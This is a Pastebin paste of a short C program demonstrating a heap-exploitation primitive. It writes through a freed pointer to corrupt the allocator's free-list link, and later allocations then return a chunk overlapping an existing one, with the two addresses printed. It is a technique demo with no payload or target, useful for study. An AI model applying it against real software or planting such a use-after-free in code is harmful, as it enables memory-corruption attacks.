Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- int main() {
- uintptr_t* p1 = malloc(0x10);
- uintptr_t* p2 = malloc(0x10);
- free(p1);
- // XXX
- *p1 = (uintptr_t)p2 - 0x10;
- uintptr_t* p3 = malloc(0x100);
- free(p3);
- uintptr_t* p4 = malloc(0x1000);
- fprintf(stderr, "Overlap p2 & p4:%p, %p\n", p2, p4);
- }
Add Comment
Please, Sign In to add comment